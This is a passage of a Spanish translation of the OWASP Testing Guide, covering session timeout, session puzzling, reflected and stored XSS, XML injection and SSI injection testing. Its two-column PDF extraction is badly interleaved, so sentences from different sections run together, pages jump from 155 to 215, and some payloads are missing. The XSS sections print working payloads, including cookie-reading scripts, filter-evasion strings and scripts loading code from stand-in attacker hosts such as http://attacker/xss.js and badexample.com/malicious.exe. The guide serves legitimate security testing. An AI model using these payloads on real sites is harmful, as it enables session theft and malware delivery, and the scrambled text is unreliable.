impone un cierre de sesión basado en el tiempo de espera debe cerrar explicitamente la sesión y el tiempo de cierre de sesión no está
considerarse insegura, a menos que tal comportamiento sea exigido por implementado en la aplicación, entonces un atacante podría acceder a la
un requisito funcional específico. misma cuenta simplemente pulsando el botón "atrás" del navegador.
El tiempo de inactividad limita la ventana de oportunidad que un atacante Cómo probar

tiene para adivinar y usar un identificador de otro usuario. Bajo ciertas
circunstancias podría proteger a las computadoras públicas para que Prueba de Caja Negra
reutilicen una sesión válida. Sin embargo, si el atacante es capaz de
secuestrar una sesión determinada, el tiempo de inactividad no limita las Puede aplicarse el mismo enfoque de la sección de pruebas de
acciones del atacante, ya que puede generar periódicamente actividad funcionalidad de cierre de sesión (OTG-SESS-006) al medir el tiempo de
dentro de la sesión para mantenerla activa por períodos de tiempo más cierre de sesión.
largos.
La metodología de prueba es muy similar. En primer lugar, los
evaluadores tienen que comprobar si existe un tiempo de cierre, por
ejemplo, iniciando una sesión y esperando a que el cierre sesión se active.
La gestión de la caducidad y administración de tiempo de cierre de sesión Como en la función de cierre de sesión, después de transcurrido el tiempo
debe ser realizada obligatoriamente desde el lado del servidor si algunos de espera, todas las fichas de sesión deben ser destruidas o quedar
datos que se encuentran en control del cliente se utilizan para hacer inutilizables.
cumplir el tiempo de cierre de sesión. Por ejemplo, usando valores de
cookies u otros parámetros del cliente para hacer el seguimiento de las
referencias de tiempo (p. ej. el número de minutos desde la hora de
registro), un atacante podría manipular estos para extender la duración Entonces, si se configura el tiempo de cierre, los evaluadores necesitan
de la sesión. entender si el tiempo de cierre lo establece el cliente o el servidor (o
ambos). Si la cookie de sesión es no-persistente (o, de manera más
general, la cookie no guarda ninguna información sobre el tiempo), los
evaluadores pueden asumir que el tiempo de cierre se ejecuta en el
Como resultado, la aplicación tiene que medir el tiempo de inactividad en servidor.
el servidor y, una vez transcurrido el lapso de espera, automáticamente

146
Si la cookie contiene algún dato relacionado con el tiempo (por ejemplo, la Pruebas del Session puzzling (OTG-SESS-008)
hora de registro, o la última hora de acceso o la fecha de caducidad de una
cookie persistente), entonces es posible que el cliente tenga una Resumen
participación en el tiempo de cierre. En este caso, los evaluadores podrían
tratar de modificar la cookie (si no está criptograficamente protegida) y La sobrecarga de variables de sesión (también conocida como Session
ver qué pasa con la sesión. Por ejemplo, los evaluadores pueden Puzzling) es una vulnerabilidad al nivel de la aplicación que permite a un
establecer la fecha de caducidad de la cookie en un futuro lejano y ver si atacante realizar una variedad de acciones maliciosas que incluyen, pero
se puede prolongar el período de sesiones. no se limitan a:
Como regla general, debe comprobarse todo del lado del servidor y no • Esquivar los mecanismos de autenticación de la aplicación y hacerse pasar
debe ser posible, mediante la reconfiguración de las cookies de sesión a por usuarios legítimos.
los valores anteriores, acceder a la aplicación otra vez.
• Elevar los privilegios de una cuenta de usuario maliciosa, en un entorno que,
de lo contrario, sería considerado infalible.
Pruebas de Caja Gris • Saltarse las fases de calificación en los procesos de fases múltiples, incluso
si el proceso incluye todas las restricciones a nivel de código comúnmente
El evaluador debe verificar que: recomendadas.
• Manipular los valores del lado del servidor de forma indirecta para que no
puedan ser predichos o detectados.
• La función de cierre de sesión destruye eficazmente todas las fichas de
sesión, o por lo menos las inhabilita. • Ejecutar ataques tradicionales en lugares previamente inaccesibles, o incluso
que se consideran seguros.
• El servidor realiza los controles adecuados en el estado de la sesión,
impidiendo al atacante reproducir identificadores de sesión previamente
destruidos.
Esta vulnerabilidad se produce cuando una aplicación utiliza la misma
• El tiempo de cierre es establecido correctamente por el servidor. Si el variable de sesión para más de un propósito. Potencialmente un atacante
servidor utiliza un tiempo de expiración que se lee de una ficha de sesión que puede acceder a páginas en un orden no previsible por parte de los
es enviada por el cliente (aunque esto no es recomendable), entonces la ficha desarrolladores para que la variable de sesión se configure en un
debe estar criptográficamente protegida contra la manipulación. contexto y luego se utilice en otro.
Tome en cuenta que lo más importante es que la aplicación invalide la Por ejemplo, un atacante puede utilizar la sobrecarga de variables de
sesión en el servidor. Generalmente esto significa que el código debe sesión para eludir los mecanismos de autenticación de la aplicación, que
invocar los métodos apropiados, por ejemplo, HttpSession.invalidate() en garantizan la autenticación mediante la validación de la existencia de
Java y Session.abandon() en .NET. variables de sesión que contengan valores relacionados con la identidad,
que normalmente se almacenan en la sesión después de un proceso de
autenticación exitoso. Esto significa que, primero, un atacante tiene
acceso a una ubicación en la aplicación que establece el contexto de la
Borrar las cookies en el navegador es recomendable, pero no es sesión y, luego, accede a lugares privilegiados que examinan este
estrictamente necesario, ya que si bien se invalida la sesión en el servidor, contexto.
tener la cookie en el navegador no ayudará a un atacante.
Por ejemplo, un vector de ataque de evasión de autenticación podría ser

Referencias ejecutado mediante el ingreso a un punto de entrada de acceso público
(por ejemplo, una página de recuperación de contraseña) que rellena la
Recursos OWASP sesión con una variable de sesión idéntica, basada en valores fijos o en
información ingresada por un usuario.
• Session Management Cheat Sheet
Cómo probar
147
Prueba de Caja Negra scripting, inyección SQL, inyección de intérprete, ataques ataques
locale/Unicode, ataques al sistema de archivo y desbordamiento de búfer.
Esta vulnerabilidad puede ser detectada y explotada enumerando todas
las variables de sesión que utiliza la aplicación y elcontexto en el que son
válidas. En particular, esto es posible accediendo a una secuencia de
puntos de entrada y luego examinando los puntos de salida. En el caso de Nunca se debe confiar en los datos de una entidad externa o del cliente, ya
las pruebas de caja negra, este procedimiento es difícil y requiere algo de que pueden ser arbitrariamente adulterados por un atacante. "Todas las
suerte ya que cada secuencia diferente podría llevar a un resultado entradas son malignas", dice Michael Howard en su famoso libro "Writing
diferente. Secure Code" (Escribiendo Código Seguro). Esta es la regla número uno.
Lamentablemente, las aplicaciones más complejas a menudo tienen un
gran número de puntos de entrada, lo que hace difícil para que un
desarrollador haga cumplir esta regla. Este capítulo describe las pruebas
Ejemplos de validación de datos. Esta es la tarea de probar todas las formas
posibles de entrada para comprender si la aplicación valida lo suficiente
Un ejemplo muy simple podría ser la funcionalidad de restablecimiento el ingreso de datos antes de usarlos.
de contraseña que, en el punto de entrada, puede solicitar al usuario que
proporcione cierta información de identificación que podría ser el
nombre del usuario o la dirección de correo electrónico. Esta página
podría rellenar, entonces, la sesión con estos valores de identificación que Pruebas de la reflexión del Cross site scripting (OTG-INPVAL-001)
son recibidos directamente del lado del cliente u obtenidos de consultas o
cálculos basados en la información de entrada recibida. En este punto Resumen
pueden haber algunas páginas en la aplicación donde se muestran datos
privados basados en este objeto de sesión. De esta manera el atacante La reflexión del Cross-site Scripting (XSS) ocurre cuando un atacante
podría eludir el proceso de autenticación. inyecta un código ejecutable en el navegador, dentro de una sola
respuesta HTTP. El ataque inyectado no se almacena dentro de la
aplicación, es no-persistente y sólo afecta a los usuarios que abren una
página web de terceros o un vínculo diseñado con mala intención. La
Pruebas de Caja Gris cadena de ataque se incluye como parte del diseño de los parámetros URL
o HTTP, que se procesan incorrectamente por la aplicación y se
La forma más efectiva para detectar estas vulnerabilidades es a través de devuelven a la víctima.
una revisión del código fuente.
Las reflexiones de XSS son los tipos de ataque XSS más frecuentes
Referencias encontrados en la naturaleza. Los ataques de reflexión XSS también son
conocidos como ataques XSS no persistentes y, puesto que la carga de
Libros Blancos ataque es entregada y ejecutada mediante una sola solicitud y respuesta,
también se les conoce como XSS de primer orden o tipo 1.
• Session Puzzles: puzzlemall.googlecode.com
• Session Puzzling and Session Race Conditions:

Cuando una aplicación web es vulnerable a este tipo de ataques, esta
sectooladdict.blogspot.com pasará datos de entrada no validados mediante solicitudes al cliente. El
modus operandi común del ataque incluye un paso de diseño, en el que el
atacante crea y prueba una URI ofensiva; un paso de ingeniería social, en
el cual ella convence a sus víctimas para que carguen esta URI en sus
Remediación
navegadores y la eventual ejecución del código ofensivo utilizando el
Las variables de sesión deben ser utilizadas con una sola finalidad. navegador de la víctima.
Pruebas de validación de entradas Comúnmente, el código del intruso es escrito en el lenguaje Javascript,
pero también se utilizan otros lenguajes, por ejemplo, ActionScript y
La debilidad de seguridad de las aplicaciones web más común es el no VBScript. Los atacantes suelen aprovechar estas vulnerabilidades para
poder validar correctamente los datos de entrada que vienen del cliente o instalar registradores de claves, robar las cookies de la víctima, realizar
del medio ambiente antes de usarlo. Esta debilidad conduce a casi todas robos del portapapeles y cambiar el contenido de la página (por ejemplo,
las vulnerabilidades principales en aplicaciones web, tales como cross site enlaces de descarga).

148
Una de las principales dificultades en la prevención de vulnerabilidades [3] Para cada prueba de entrada intentada en la fase anterior, el
XSS es la correcta codificación de caracteres. En algunos casos, el servidor evaluador analiza el resultado y determina si representa una
web o la aplicación web podrían no estar filtrando algunas codificaciones vulnerabilidad que tiene un impacto realista en materia de seguridad de
de caracteres; así que, por ejemplo, la aplicación web puede filtrar y sacar la aplicación web. Esto requiere examinar la HTML de la página web
"<script>", pero podría no filtrar %3cscript%3e que simplemente incluye resultante, en busca de la información de entrada para la prueba. Una vez
otra codificación de etiquetas. encontrada, el evaluador identifica los caracteres especiales que no
fueron codificados correctamente, reemplazados o filtrados. El conjunto
de caracteres especiales vulnerables sin filtrar dependerán del contexto
de esa sección de HTML.
Cómo probar
Idealmente, todos los caracteres especiales de HTML se reemplazarán con
Prueba de Caja Negra entidades HTML. Las entidades HTML claves para identificar son:
Una prueba de caja negra incluye al menos tres fases:

> (greater than)
< (less than)

[1] Detecte vectores de entrada. Para cada página web, el evaluador debe
determinar todas las variables definidas por el usuario y cómo & (ampersand)
ingresarlas. Esto incluye entradas ocultas o no evidentes como
parámetros HTTP, datos POST, valores de formulario de campo oculto y ‘ (apostrophe or single quote)
valores predefinidos de radio o de selección. Por lo general, los editores
“ (double quote)
del navegador para HTML o los proxys web que se utilizan para ver estas
variables ocultas. Vea el ejemplo a continuación.
Sin embargo, una lista completa de entidades está definida por las
[2] Analice cada vector de entrada para detectar posibles especificaciones de HTML y XML. Wikipedia tiene una referencia
vulnerabilidades. Para la detección de una vulnerabilidad XSS, el completa [1].
evaluador suele utilizar datos de entrada especialmente diseñados con
cada vector de entrada. Estos datos de entrada son normalmente
inofensivos, pero desencadenan respuestas desde el navegador web que
manifiesta su vulnerabilidad. Los datos para pruebas pueden generarse En el framework de una acción de HTML o código JavaScript, un conjunto
utilizando un distorsionador de aplicaciones web, una lista automatizada diferente de caracteres especiales se necesitarán para escapar, codificar,
predefinida de cadenas de ataque conocidas o manualmente. reemplazar o filtrar. Estos caracteres incluyen:
\n (new line)
Algunos ejemplos de esta información de entrada son:
\r (carriage return)
\’ (apostrophe or single quote)

<script>alert(123)</script>
\” (double quote)
\\ (backslash)
\uXXXX (unicode values)

“><script>alert(document.cookie)</script>
Para una referencia más completa, consulte a la guía JavaScript de

Mozilla. [2]
Para tener una lista completa de posibles cadenas de prueba, vea el archivo
XSS Filter Evasion Cheat Sheet.
Ejemplo 1

149
Por ejemplo, consideremos un sitio que tiene un anuncio de bienvenida

"Bienvenido %username%" y un enlace de descarga. http://example.com/index.php?user=<script>window.onload =
function() {var AllLinks=document.getElementsByTagName(“a”);
AllLinks[0].href = “http://badexample.com/malicious.exe”; }</script>
Esto produce el siguiente comportamiento:
El evaluador debe sospechar que cada punto de entrada de datos puede

resultar en un ataque XSS. Para analizarlo, el evaluador jugará con las
variables del usuario y tratará de activar la vulnerabilidad.
Intente hacer clic en el siguiente enlace y vea qué pasa.
http://example.com/index.php?user=<script>alert(123)</script>
Si no se aplica una desinfección, esto resultará en la siguiente ventana

emergente:
Esto hará que el usuario, haciendo clic en el enlace suministrado por el
evaluador, pueda descargar el archivo malicious.exe desde un sitio
controlado por el evaluador.
Eludir filtros XSS
Los ataques de reflexión del Cross-site Scripting se previenen mientras la

aplicación web desinfecta la entrada de datos; una aplicación web de
firewall bloquea la entrada maliciosa, o mediante mecanismos integrados
en navegadores web modernos. El evaluador debe probar las
vulnerabilidades asumiendo que los navegadores web no impedirán el
Esto indica que existe una vulnerabilidad XSS y parece que el evaluador ataque. Los navegadores pueden estar desactualizados o con sus
puede ejecutar el código de su elección en cualquier navegador si éste características de seguridad incorporadas deshabilitadas. Del mismo
hace clic en el enlace del evaluador. modo, los firewalls de la aplicación web no garantizan poder reconocer
ataques nuevos y desconocidos. Un atacante podría crear una cadena de
ataque que es desconocida por la aplicación web del firewall.
Ejemplo 2
Pruebe otra pieza de código (enlace) La mayor parte de la prevención XSS depende de la desinfección de la
aplicación web de datos no confiables del usuario. Hay varios
mecanismos disponibles para que los desarrollaldores realicen la
desinfección, como devolver un error, quitar, codificar, sustituir datos de
entrada no válida. El modo por el cual la aplicación detecta y corrige la
entrada inválida es otra debilidad principal en la prevención de XSS. Una

150
lista negra podría no incluir todas las cadenas de ataque posibles, una
“><script >alert(document.cookie)</script >
lista blanca puede ser excesivamente permisiva, la desinfección puede
fallar o un tipo de entrada puede calificarse incorrectamente como
confiable y mantenerse sin desinfección. Todo esto permite a los
atacantes burlar los filtros XSS.
“><script >alert(document.cookie)</script >
Los apuntes de repaso de evasión de filtros XSS comúnmente filtran las

pruebas de evasión.
“%3cscript%3ealert(document.cookie)%3c/script%3e
Ejemplo 3: Etiquete el valor del atributo
Ya que estos filtros se basan en una lista negra, no pueden bloquear todos
los tipos de expresiones. De hecho, hay casos en que una explotación XSS
puede llevarse a cabo sin el uso de etiquetas <script> e incluso sin el uso
de caracteres tales como "< > y / que comúnmente se filtran. Ejemplo 5: Para evitar la filtración no-recurrente
A veces la desinfección se aplica sólo una vez y no se realiza de forma

recurrente. En este caso, el atacante puede vencer al filtro mediante el envío
Por ejemplo, la aplicación web puede utilizar el valor ingresado por el de una cadena que contiene múltiples intentos, como esta:
usuario para llenar un atributo, como se muestra en el siguiente código:
<scr<script>ipt>alert(document.cookie)</script>
<input type=”text” name=”state” value=”INPUT_FROM_USER”>
Ejemplo 6: Para incluir scripts externos
Entonces el atacante puede enviar el siguiente código: Ahora suponga que los desarrolladores del sitio objetivo implementaron el
siguiente código para proteger la entrada de la inclusión de script externo:
“ onfocus=”alert(document.cookie)
<?
$re = “/<script[^>]+src/i”;
Ejemplo 4: Diferente sintaxis o codificación if (preg_match($re, $_GET[‘var’]))
En algunos casos, es posible que los filtros basados en la firma pueden ser {
simplemente derrotados ofuscando el ataque. Por lo general, usted puede
hacer esto mediante la introducción de variaciones inesperadas en la sintaxis o echo “Filtered”;
en la codificación. Estas variaciones se toleran por parte de los navegadores
como HTML, válidos cuando se devuelve el código y, sin embargo, también return;
podrían ser aceptadas por el filtro.
}
echo “Welcome “.$_GET[‘var’].” !”;

A continuación algunos ejemplos:

151
En este escenario hay una expresión regular que verifica si<script

http://example/page.php?param=<script&param=>[...]</&param=scri
[cualquier cosa menos el carácter: ‘>’ ] src se ha insertado. Esto es útil
pt>
para filtrar expresiones como:
<script src=”http://attacker/xss.js”></script>
Resultado esperado
que es un ataque común. Pero, en este caso, es posible eludir la Vea los apuntes de repaso de evasión de filtros XSS para obtener una lista
desinfección usando el carácter ">" con un atributo entre script y src como más detallada de las técnicas de evasión de filtros. Por último, analizar las
este: respuestas puede ser complejo. Una manera simple de hacer esto es usar
un código que lance un cuadro de diálogo, como en nuestro ejemplo. Esto
normalmente indica que un atacante podría ejecutar un código JavaScript
http://example/?var=<SCRIPT%20a=”>”%20SRC=”http://attacker/xss arbitrario de su elección en los navegadores de los visitantes.
.js”></SCRIPT>
Las pruebas de Caja Gris son similares a las pruebas de Caja Negra. En las
Esto explotará la vulnerabilidad de reflexión del Cross-site Scripting
pruebas de Caja Gris, el evaluador de edición tiene un conocimiento
mostrada anteriormente, ejecutando el código JavaScript almacenado en el
parcial de la aplicación. En este caso, la información relativa a la entrada
servidor web del atacante como si se originara desde el sitio web de la
del usuario, los controles de validación de entrada y cómo se devuelve la
víctima, http://example/.
información ingresada por el usuario al mismo usuario, podrían ser
conocidos por el evaluador de edición.
Ejemplo 7: Contaminación del Parámetro HTTP (HTTP Parameter Si el código fuente está disponible (Caja Blanca), deben analizarse todas
Pollution (HPP)) las variables recibidas de los usuarios. Además, el evaluador debe
analizar los procedimientos de desinfección implementados para decidir
Otro método para eludir los filtros es la contaminación del parámetro si estos pueden ser eludidos.
HTTP. Esta técnica fue introducida por Stefano di Paola y Luca Carettoni
en el 2009, durante la Conferencia OWASP en Polonia. Vea la "prueba de
contaminación del parámetro HTTP" para obtener más información. Esta
Herramientas
técnica de evasión consiste en dividir un vector de ataque entre los
múltiples parámetros que tengan el mismo nombre. La manipulación del
• OWASP CAL9000
valor de cada parámetro depende de cómo cada tecnología web analiza
estos parámetros, por lo que este tipo de evasión no siempre es posible. Si
CAL9000 es una colección de herramientas de prueba de seguridad en
el ambiente de prueba concatena los valores de todos los parámetros con
aplicaciones web, que complementa el conjunto actual de proxys web y
el mismo nombre, entonces el atacante podría utilizar esta técnica para escáneres automatizados. Se presenta como una referencia en:
evitar los mecanismos de seguridad basados en el patrón.
sec101.sourceforge.net
Ataque normal:
• PHP Charset Encoder(PCE):
http://example/page.php?param=<script>[...]</script> yehg.net
Esta herramienta le permite codificar textos arbitrarios desde y hacia 65

clases de conjuntos de caracteres. Además, se proporcionan algunas
funciones de codificación destacadas de JavaScript.
Ataque usando HPP:

152
• HackVertor: (XSS). Ofrece resultados de análisis de cero falsos positivos con su triple
motor de navegación único (Trident, WebKit y Gecko) escáner
businessinfo.co.uk incrustados. Se afirma que tiene la segunda carga de XSS más grande del
mundo, de aproximadamente 1600+ XSS cargas útiles distintivas para la
Ofrece varias docenas de codificaciones flexibles para ataques de detección eficaz de vulnerabilidades XSS y desvios WAF. El motor de
manipulación de cadena avanzada. Scripting de Xenotix le permite crear casos de prueba personalizados y
add-ons en la API de Xenotix. Tiene incorporado un módulo de
recolección de información abundante para reconocimiento de objetivos.
El framework de explotación incluye módulos de explotación de ofensiva
• WebScarab: WebScarab es un framework para analizar las aplicaciones que
XSS para la creación de pruebas de penetración y prueba de creación de
se comunican mediante los protocolos HTTP y HTTPS: owasp.org
concepto.
• XSS-Proxy: xss-proxy.sourceforge.net
Referencias
XSS-Proxy es una herramienta avanzada de Cross-Site-Scripting (XSS).
Recursos OWASP
• XSS Filter Evasion Cheat Sheet
• ratproxy: code.google.com
Es una herramienta de seguridad y auditoría semiautomática, en gran parte

Libros
pasiva, de aplicaciones web optimizadas que sirven para una detección
precisa y sensible y para realizar una anotación automática de posibles • Joel Scambray, Mike Shema, Caleb Sima - “Hacking Exposed Web
problemas y patrones de diseño relevantes a la seguridad, basados en la Applications”, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
observación del tráfico existente, iniciado por el usuario en entornos web 2.0
complejos. • Dafydd Stuttard, Marcus Pinto - “The Web Application’s Handbook -
Discovering and Exploiting Security Flaws”, 2008, Wiley, ISBN 978-0-470-
17077-9
• Burp Proxy - portswigger.net

• Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. Petkov, Anton
Rager, Seth Fogie - “Cross Site Scripting Attacks: XSS Exploits and Defense”,
Burp Proxy es un servidor proxy HTTP/S interactivo que sirve para atacar o
2007, Syngress, ISBN-10: 1-59749-154-3
probar aplicaciones web.
Libros Blancos
• OWASP Zed Attack Proxy (ZAP):
• CERT - Malicious HTML Tags Embedded in Client Web Requests: Read
OWASP_Zed_Attack_Proxy_Project
• Rsnake - XSS Cheat Sheet: Read
ZAP es una herramienta de penetración integrada, fácil de usar para
encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser • cgisecurity.com - The Cross Site Scripting FAQ: Read
utilizada por personas con un amplio espectro de experiencia en seguridad y
por eso es ideal para desarrolladores y evaluadores funcionales que son • G.Ollmann - HTML Code Injection and Cross-site scripting: Read
novatos realizando pruebas de penetración. ZAP ofrece escáneres
automatizados, así como un conjunto de herramientas que permiten • A. Calvo, D.Tiscornia - alert(‘A javascritp agent’): Read ( To be published )
encontrar las vulnerabilidades de seguridad manualmente.
• S. Frei, T. Dübendorfer, G. Ollmann, M. May - Understanding the Web
browser threat: Read
• OWASP Xenotix XSS Exploit Framework:
OWASP_Xenotix_XSS_Exploit_Framework Pruebas para Cross site scripting almacenados(OTG-INPVAL-002)
OWASP Xenotix XSS Exploit Framework es un framework avanzado de Resumen

detección y explotación de vulnerabilidades mediante Cross Site Scripting

153
El Cross-site Scripting almacenado (XSS) es el tipo más peligroso de Cross

Site Scripting. Las aplicaciones web que permiten a los usuarios
almacenar datos están potencialmente expuestas a este tipo de ataques. El XSS almacenado es particularmente peligroso en las áreas de las
Este capítulo ilustra ejemplos de escenarios relacionados con la inyección aplicaciones donde los usuarios con altos privilegios tienen acceso.
y explotación de Cross-site Scripting almacenado. Cuando el administrador visita la página vulnerable, el ataque es
ejecutado automáticamente por su navegador. Esto puede exponer
El XSS almacenado se produce cuando una aplicación web reúne la información sensible como fichas de autorización de sesión.
información ingresada por un usuario que puede ser malicioso y esa
información es almacenada para su uso posterior. La información
almacenada no se filtra correctamente. Como consecuencia, los datos
maliciosos aparecerán como parte del sitio web y se ejecutarán en el Cómo probar
navegador del usuario con los privilegios de la aplicación web. Puesto que
esta vulnerabilidad, por lo general, implica al menos dos peticiones a la Pruebas de Caja Negra
aplicación, esto puede también llamarse XSS de segundo orden.
El proceso para la identificación de las vulnerabilidades XSS almacenadas
es similar al proceso descrito en la prueba de reflexión de XSS.
Esta vulnerabilidad se puede utilizar para llevar a cabo una serie de

ataques basados en el navegador incluyendo:
Formularios de ingreso
El primer paso es identificar todos los puntos donde se almacenan los

• Secuestro del navegador de otro usuario datos ingresados por el usuario en la zona de acceso restringido (back-
end) y luego se muestra en la aplicación. Ejemplos típicos de ingresos del
• Captura de información confidencial vista por usuarios de la aplicación usuario almacenados pueden encontrarse en:
• Pseudo desfiguración de la aplicación
• Escaneo de puertos en hosts internos ("internos" en relación a los usuarios de la • User/Profiles page: la aplicación permite al usuario editar o cambiar los
aplicación web) datos del perfil tales como nombre, apellido, apodo, avatar, foto, dirección,
etc.
• Explotación basada en el navegador de entrega dirigida
• Shopping cart: la aplicación permite al usuario guardar artículos en el
• Otras actividades maliciosas carrito de compras que pueden ser revisados posteriormente.
• File Manager: Esta aplicación permite subir archivos.
Un XSS almacenado no necesita un enlace malicioso para ser explotado. • Application settings/preferences: aplicación que permite al usuario
Una explotación exitosa se produce cuando un usuario visita una página establecer sus preferencias.
con un XSS almacenado. Las fases siguientes se relacionan con una
situación de ataque XSS almacenado normal: • Forum/Message board: la aplicación permite intercambiar mensajes entre
usuarios.
• Blog: si la aplicación del blog lo permite, los usuarios envían comentarios.

• El atacante almacena el código malicioso en la página vulnerable
• Log: si la aplicación guarda en registros algunos datos ingresados por el
• El usuario se autentica en la aplicación usuario.
• El usuario visita páginas vulnerables
• El código malicioso se ejecuta en el navegador del usuario Analyze HTML code
Los ingresos almacenados por la aplicación normalmente se utilizan en

etiquetas HTML, pero también pueden encontrarse como parte del contenido
Este tipo de ataque también puede ser explotado mediante frameworks de JavaScript. En esta etapa, es fundamental para entender si la información se
de explotación del navegador como BeEF, XSS Proxy y Backframe. Estos almacena y cómo se ubica en el contexto de la página.
frameworks permiten el desarrollo de ataques complejos de JavaScript.

154
A diferencia de la reflexión XSS, el evaluador de edición también debe

investigar los canales "fuera de banda" a través de los cuales la aplicación aaa@aa.com”><script>alert(document.cookie)</script>
recibe y almacena los datos ingresados por los usuarios.
aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2F
Nota: Todas las áreas de la aplicación que son accesibles por el administrador script%3E
deben ser probadas para identificar la presencia de cualquier información
enviada por los usuarios.
Ejemplo: Información guardada por email en index2.php
Asegúrese de que el ingreso de datos es enviado a través de la aplicación.

Normalmente esto implica deshabilitar JavaScript si se implementan controles de
seguridad del lado del cliente o modificar la solicitud HTTP con un proxy web
como WebScarab. También es importante comprobar la misma inyección con
peticiones HTTP GET y POST. Los resultados anteriores de la inyección, en una
ventana emergente que contiene los valores de la cookie.
Resultado esperado:
El código HTML de index2.php donde los valores del email se ubican:
<input class=”inputbox” type=”text” name=”email” size=”40”

value=”aaa@aa.com” />
El código HTML posterior a la inyección:
En este caso, el evaluador necesita encontrar una manera de inyectar el código <input class=”inputbox” type=”text” name=”email” size=”40”
fuera de la etiqueta <input> así como: value=”aaa@aa.com”><script>alert(document.cookie)</script>
<input class=”inputbox” type=”text” name=”email” size=”40”

value=”aaa@aa.com”> MALICIOUS CODE  - Esta secuencia de
caracteres se interpreta como el inicio/final de un comentario. Así que al
inyectar uno de ellos en el parámetro de nombre de usuario:
Si ‘&’ no está codificado con & se puede usar para probar una inyección
XML.
Username = foo<userid>0</userid><mail>s4tan@hell.com
Herramientas
• XML Injection Fuzz Strings (from wfuzz tool) -
https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/XML.txt
En este caso la base de datos XML final es:
<?xml version=”1.0” encoding=”ISO-8859-1”?> Referencias
<users> Libros Blancos
<user> • Alex Stamos: “Attacking Web Services” -

http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-
<username>gandalf</username> Attacking_Web_Services.ppt
<password>!c3</password> • Gregory Steuck, “XXE (Xml eXternal Entity) attack”,

http://www.securityfocus.com/archive/1/297714
<userid>0</userid>
Pruebas de inyección de SSI (OTG-INPVAL-009)
</user>
Resumen
<user>
Los servidores web suelen dar a los desarrolladores la posibilidad de
<username>Stefan0</username> añadir pequeñas piezas de código dinámico dentro de páginas HTML
estáticas, sin tener que lidiar con todos los derechos de los lenguajes del
<password>w1s3c</password> servidor o del cliente. Esta característica es encarnada cuando el servidor
incluye (SSI). En la prueba de inyección SSI, probamos si es posible
<userid>500</userid> inyectar en los datos de la aplicación que serán interpretados por
mecanismos del SSI. Una explotación exitosa de esta vulnerabilidad
permite a un atacante inyectar código en páginas HTML o incluso realizar
ejecución remota de códigos.
</user>
<user>
Server-Side Includes son directivas que el servidor web analiza antes de
servir la página al usuario. Representan una alternativa para escribir
programas CGI o incrustar código utilizando lenguajes de scripting del
<password>Un6R34kb!e</password> puesto que las directivas SSI son fáciles de entender y, al mismo tiempo,
bastante potentes, por ejemplo, se puede obtener el contenido de los
archivos y ejecutar comandos del sistema.
para imprimir la hora actual, Cómo probar


La primera cosa que se debe hacer cuando se prueba mediante la técnica
de Caja Negra, es encontrar si el servidor web admite realmente
directivas SSI. A menudo, la respuesta es sí, ya que el soporte de SSI es
bastante común. Para saberlo sólo necesitamos descubrir qué tipo de
servidor web se ejecuta en nuestro objetivo, utilizando técnicas de
para incluir el resultado de un script CGI. recopilación de información clásica.

Si tenemos éxito o no en el descubrimiento de esta pieza de información,

podríamos adivinar si el SSI es compatible solo con mirar el contenido del
sitio web de destino. Si contiene archivos .shtml, entonces el SSI es
probablemente compatible, ya que esta extensión se utiliza para
identificar las páginas que contienen estas directivas.
para incluir el contenido de un archivo o lista de archivos en un directorio,
Desafortunadamente, el uso de la extensión shtml no es obligatoria, así
que si no se ha encontrado ningún archivo shtml, no significa
 necesariamente que el objetivo no es propenso a ataques de inyección
SSI.
El siguiente paso consiste en determinar si un ataque de inyección SSI es

para incluir el resultado de un comando del sistema. posible y, si es así, cuáles son los puntos de entrada que podemos utilizar
para inyectar el código malicioso.
Entonces, si el soporte de SSI del servidor web está habilitado, el servidor

analizará estas directivas. En la configuración predeterminada, por lo La actividad de prueba necesaria para hacer esto es exactamente la
general, la mayoría de servidores web no permiten el uso de la directiva misma que utilizó para probar otras vulnerabilidades de inyección de
exec para ejecutar comandos del sistema. código. En particular, tenemos que encontrar cada página donde el
usuario puede ingresar algún tipo de datos, y comprobar si la aplicación
está validando correctamente esos datos enviados. Si la desinfección es
insuficiente, tenemos que probar si podemos proporcionar datos que van
Como en toda situación de una mala validación de entrada, los problemas a mostrarse sin modificarse (por ejemplo, en un mensaje de error o una
surgen cuando el usuario de una aplicación web puede proporcionar publicación en un foro). Además de los datos suministrados por el
datos que hacen que la aplicación o el servidor web se comporten de usuario común, los vectores de entrada que deben ser considerados
manera imprevista. Con respecto a la inyección SSI, el atacante podría siempre son los contenidos de encabezados de solicitudes y cookies
aportar datos que, si son ingresados por la aplicación (o tal vez HTTP, ya que pueden ser fácilmente falsificados.
directamente por el servidor) en una página generada dinámicamente, se
puede analizar como una o más directivas SSI.
Una vez que tenemos una lista de potenciales puntos de inyección,

podemos comprobar si los datos se validan correctamente y luego
Se trata de una vulnerabilidad muy similar a una vulnerabilidad de averiguar dónde se almacenan los datos proporcionados. Tenemos que
inyección clásica de lenguaje para script. Una mitigación es que el asegurarnos que podemos inyectar los caracteres utilizados en las
servidor web debe configurarse para permitir SSI. Por otro lado, las directivas SSI:

215
Si tenemos acceso al código fuente de la aplicación, fácilmente podemos

< ! # = / . “ - > and [a-zA-Z0-9] averiguar:
[1] Si se usan directivas SSI, el servidor web va a tener el soporte SSI

activo. Hacer una inyección de SSI es, por lo menos, un problema
Para comprobar si la validación es insuficiente, podemos ingresar, por potencial que debe investigarse.
ejemplo, una cadena como la siguiente en un formulario de entrada:
[2] Donde se manejan los datos ingresados por el usuario, el contenido de
las cookies y los encabezados HTTP. La lista completa de vectores de
entrada puede determinarse rápidamente.


[3] Cómo se manejan los datos ingresados, qué tipo de filtro se realiza,
qué caracteres no permiten pasar la aplicación y cuántos tipos de
codificación se consideran.
Esto es similar a las pruebas de vulnerabilidad XSS utilizando Al dar estos pasos se trata, más que nada, de utilizar grep para encontrar
las palabras clave correctas dentro del código fuente (directivas SSI,
variables del entorno CGI, asignación de variables que implican ingreso
de datos del usuario, las funciones de filtro y demás).
<script>alert(“XSS”)</script>
Herramientas
• Web Proxy Burp Suite: portswigger.net
Si la aplicación es vulnerable, la directiva se inyecta y será interpretada • Paros: parosproxy.org

por el servidor la próxima vez que se utilice la página, así como el
contenido del archivo de contraseñas estándar de Unix. • OWASP WebScarab
• String searcher: grep: gnu.org
La inyección puede realizarse también en los encabezados HTTP, si la

